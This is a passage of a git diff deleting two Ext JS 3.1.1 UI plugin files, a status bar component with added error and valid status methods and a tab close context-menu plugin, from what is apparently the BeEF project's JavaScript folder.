- */ - - /** - * @cfg {String} cls - * The base class applied to the containing element for this component on render (defaults to 'x-statusbar') - */ - cls : 'x-statusbar', - /** - * @cfg {String} busyIconCls - * The default {@link #iconCls} applied when calling - * {@link #showBusy} (defaults to 'x-status-busy'). - * It can be overridden at any time by passing the iconCls - * argument into {@link #showBusy}. - */ - busyIconCls : 'x-status-busy', - - //BEEF ADDED - errorIconCls : 'x-status-error', - validIconCls : 'x-status-valid', - - /** - * @cfg {String} busyText - * The default {@link #text} applied when calling - * {@link #showBusy} (defaults to 'Loading...'). - * It can be overridden at any time by passing the text - * argument into {@link #showBusy}. - */ - busyText : 'Loading...', - /** - * @cfg {Number} autoClear - * The number of milliseconds to wait after setting the status via - * {@link #setStatus} before automatically clearing the status - * text and icon (defaults to 5000). Note that this only applies - * when passing the clear argument to {@link #setStatus} - * since that is the only way to defer clearing the status. This can - * be overridden by specifying a different wait value in - * {@link #setStatus}. Calls to {@link #clearStatus} - * always clear the status bar immediately and ignore this value. - */ - autoClear : 5000, - - /** - * @cfg {String} emptyText - * The text string to use if no text has been set. Defaults to - * ' '). If there are no other items in the toolbar using - * an empty string ('') for this value would end up in the toolbar - * height collapsing since the empty string will not maintain the toolbar - * height. Use '' if the toolbar should collapse in height - * vertically when no text is specified and there are no other items in - * the toolbar. - */ - emptyText : ' ', - - // private - activeThreadId : 0, - - // private - initComponent : function(){ - if(this.statusAlign=='right'){ - this.cls += ' x-status-right'; - } - Ext.ux.StatusBar.superclass.initComponent.call(this); - }, - - // private - afterRender : function(){ - Ext.ux.StatusBar.superclass.afterRender.call(this); - - var right = this.statusAlign == 'right'; - this.currIconCls = this.iconCls || this.defaultIconCls; - this.statusEl = new Ext.Toolbar.TextItem({ - cls: 'x-status-text ' + (this.currIconCls || ''), - text: this.text || this.defaultText || '' - }); - - if(right){ - this.add('->'); - this.add(this.statusEl); - }else{ - this.insert(0, this.statusEl); - this.insert(1, '->'); - } - this.doLayout(); - }, - - /** - * Sets the status {@link #text} and/or {@link #iconCls}. Also supports automatically clearing the - * status that was set after a specified interval. - * @param {Object/String} config A config object specifying what status to set, or a string assumed - * to be the status text (and all other options are defaulted as explained below). A config - * object containing any or all of the following properties can be passed:
    - *
  • text {String} : (optional) The status text to display. If not specified, any current - * status text will remain unchanged.
  • - *
  • iconCls {String} : (optional) The CSS class used to customize the status icon (see - * {@link #iconCls} for details). If not specified, any current iconCls will remain unchanged.
  • - *
  • clear {Boolean/Number/Object} : (optional) Allows you to set an internal callback that will - * automatically clear the status text and iconCls after a specified amount of time has passed. If clear is not - * specified, the new status will not be auto-cleared and will stay until updated again or cleared using - * {@link #clearStatus}. If true is passed, the status will be cleared using {@link #autoClear}, - * {@link #defaultText} and {@link #defaultIconCls} via a fade out animation. If a numeric value is passed, - * it will be used as the callback interval (in milliseconds), overriding the {@link #autoClear} value. - * All other options will be defaulted as with the boolean option. To customize any other options, - * you can pass an object in the format:
      - *
    • wait {Number} : (optional) The number of milliseconds to wait before clearing - * (defaults to {@link #autoClear}).
    • - *
    • anim {Number} : (optional) False to clear the status immediately once the callback - * executes (defaults to true which fades the status out).
    • - *
    • useDefaults {Number} : (optional) False to completely clear the status text and iconCls - * (defaults to true which uses {@link #defaultText} and {@link #defaultIconCls}).
    • - *
- * Example usage:

-// Simple call to update the text
-statusBar.setStatus('New status');
-
-// Set the status and icon, auto-clearing with default options:
-statusBar.setStatus({
-    text: 'New status',
-    iconCls: 'x-status-custom',
-    clear: true
-});
-
-// Auto-clear with custom options:
-statusBar.setStatus({
-    text: 'New status',
-    iconCls: 'x-status-custom',
-    clear: {
-        wait: 8000,
-        anim: false,
-        useDefaults: false
-    }
-});
-
- * @return {Ext.ux.StatusBar} this - */ - setStatus : function(o){ - o = o || {}; - - if(typeof o == 'string'){ - o = {text:o}; - } - if(o.text !== undefined){ - this.setText(o.text); - } - if(o.iconCls !== undefined){ - this.setIcon(o.iconCls); - } - - if(o.clear){ - var c = o.clear, - wait = this.autoClear, - defaults = {useDefaults: true, anim: true}; - - if(typeof c == 'object'){ - c = Ext.applyIf(c, defaults); - if(c.wait){ - wait = c.wait; - } - }else if(typeof c == 'number'){ - wait = c; - c = defaults; - }else if(typeof c == 'boolean'){ - c = defaults; - } - - c.threadId = this.activeThreadId; - this.clearStatus.defer(wait, this, [c]); - } - return this; - }, - - /** - * Clears the status {@link #text} and {@link #iconCls}. Also supports clearing via an optional fade out animation. - * @param {Object} config (optional) A config object containing any or all of the following properties. If this - * object is not specified the status will be cleared using the defaults below:
    - *
  • anim {Boolean} : (optional) True to clear the status by fading out the status element (defaults - * to false which clears immediately).
  • - *
  • useDefaults {Boolean} : (optional) True to reset the text and icon using {@link #defaultText} and - * {@link #defaultIconCls} (defaults to false which sets the text to '' and removes any existing icon class).
  • - *
- * @return {Ext.ux.StatusBar} this - */ - clearStatus : function(o){ - o = o || {}; - - if(o.threadId && o.threadId !== this.activeThreadId){ - // this means the current call was made internally, but a newer - // thread has set a message since this call was deferred. Since - // we don't want to overwrite a newer message just ignore. - return this; - } - - var text = o.useDefaults ? this.defaultText : this.emptyText, - iconCls = o.useDefaults ? (this.defaultIconCls ? this.defaultIconCls : '') : ''; - - if(o.anim){ - // animate the statusEl Ext.Element - this.statusEl.el.fadeOut({ - remove: false, - useDisplay: true, - scope: this, - callback: function(){ - this.setStatus({ - text: text, - iconCls: iconCls - }); - - this.statusEl.el.show(); - } - }); - }else{ - // hide/show the el to avoid jumpy text or icon - this.statusEl.hide(); - this.setStatus({ - text: text, - iconCls: iconCls - }); - this.statusEl.show(); - } - return this; - }, - - /** - * Convenience method for setting the status text directly. For more flexible options see {@link #setStatus}. - * @param {String} text (optional) The text to set (defaults to '') - * @return {Ext.ux.StatusBar} this - */ - setText : function(text){ - this.activeThreadId++; - this.text = text || ''; - if(this.rendered){ - this.statusEl.setText(this.text); - } - return this; - }, - - /** - * Returns the current status text. - * @return {String} The status text - */ - getText : function(){ - return this.text; - }, - - /** - * Convenience method for setting the status icon directly. For more flexible options see {@link #setStatus}. - * See {@link #iconCls} for complete details about customizing the icon. - * @param {String} iconCls (optional) The icon class to set (defaults to '', and any current icon class is removed) - * @return {Ext.ux.StatusBar} this - */ - setIcon : function(cls){ - this.activeThreadId++; - cls = cls || ''; - - if(this.rendered){ - if(this.currIconCls){ - this.statusEl.removeClass(this.currIconCls); - this.currIconCls = null; - } - if(cls.length > 0){ - this.statusEl.addClass(cls); - this.currIconCls = cls; - } - }else{ - this.currIconCls = cls; - } - return this; - }, - - /** - * Convenience method for setting the status text and icon to special values that are pre-configured to indicate - * a "busy" state, usually for loading or processing activities. - * @param {Object/String} config (optional) A config object in the same format supported by {@link #setStatus}, or a - * string to use as the status text (in which case all other options for setStatus will be defaulted). Use the - * text and/or iconCls properties on the config to override the default {@link #busyText} - * and {@link #busyIconCls} settings. If the config argument is not specified, {@link #busyText} and - * {@link #busyIconCls} will be used in conjunction with all of the default options for {@link #setStatus}. - * @return {Ext.ux.StatusBar} this - */ - showBusy : function(o){ - if(typeof o == 'string'){ - o = {text:o}; - } - o = Ext.applyIf(o || {}, { - text: this.busyText, - iconCls: this.busyIconCls - }); - return this.setStatus(o); - }, - - //BEEF ADDED - showError : function(o){ - if(typeof o == 'string'){ - o = {text:o}; - } - o = Ext.applyIf(o || {}, { - text: this.busyText, - iconCls: this.errorIconCls - }); - return this.setStatus(o); - }, - - showValid : function(o){ - if(typeof o == 'string'){ - o = {text:o}; - } - o = Ext.applyIf(o || {}, { - text: this.busyText, - iconCls: this.validIconCls - }); - return this.setStatus(o); - } -}); -Ext.reg('statusbar', Ext.ux.StatusBar); \ No newline at end of file diff --git a/public/javascript/ux/TabCloseMenu.js b/public/javascript/ux/TabCloseMenu.js deleted file mode 100644 index 559f2c9c6..000000000 --- a/public/javascript/ux/TabCloseMenu.js +++ /dev/null @@ -1,58 +0,0 @@ -/*! - * Ext JS Library 3.1.1 - * Copyright(c) 2006-2010 Ext JS, LLC - * licensing@extjs.com - * http://www.extjs.com/license - */ -/** - * @class Ext.ux.TabCloseMenu - * @extends Object - * Plugin (ptype = 'tabclosemenu') for adding a close context menu to tabs. - * - * @ptype tabclosemenu - */ -Ext.ux.TabCloseMenu = function(){ - var tabs, menu, ctxItem; - this.init = function(tp){ - tabs = tp; - tabs.on('contextmenu', onContextMenu); - }; - - function onContextMenu(ts, item, e){ - if(!menu){ // create context menu on first right click - menu = new Ext.menu.Menu({ - items: [{ - id: tabs.id + '-close', - text: 'Close Tab', - handler : function(){ - tabs.remove(ctxItem); - } - },{ - id: tabs.id + '-close-others', - text: 'Close Other Tabs', - handler : function(){ - tabs.items.each(function(item){ - if(item.closable && item != ctxItem){ - tabs.remove(item); - } - }); - } - }]}); - } - ctxItem = item; - var items = menu.items; - items.get(tabs.id + '-close').setDisabled(!item.closable); - var disableOthers = true; - tabs.items.each(function(){ - if(this != item && this.closable){ - disableOthers = false; - return false; - } - }); - items.get(tabs.id + '-close-others').setDisabled(disableOthers); - e.stopEvent(); - menu.showAt(e.getPoint()); - } -}; - -Ext.preg('tabclosemenu', Ext.ux.TabCloseMenu);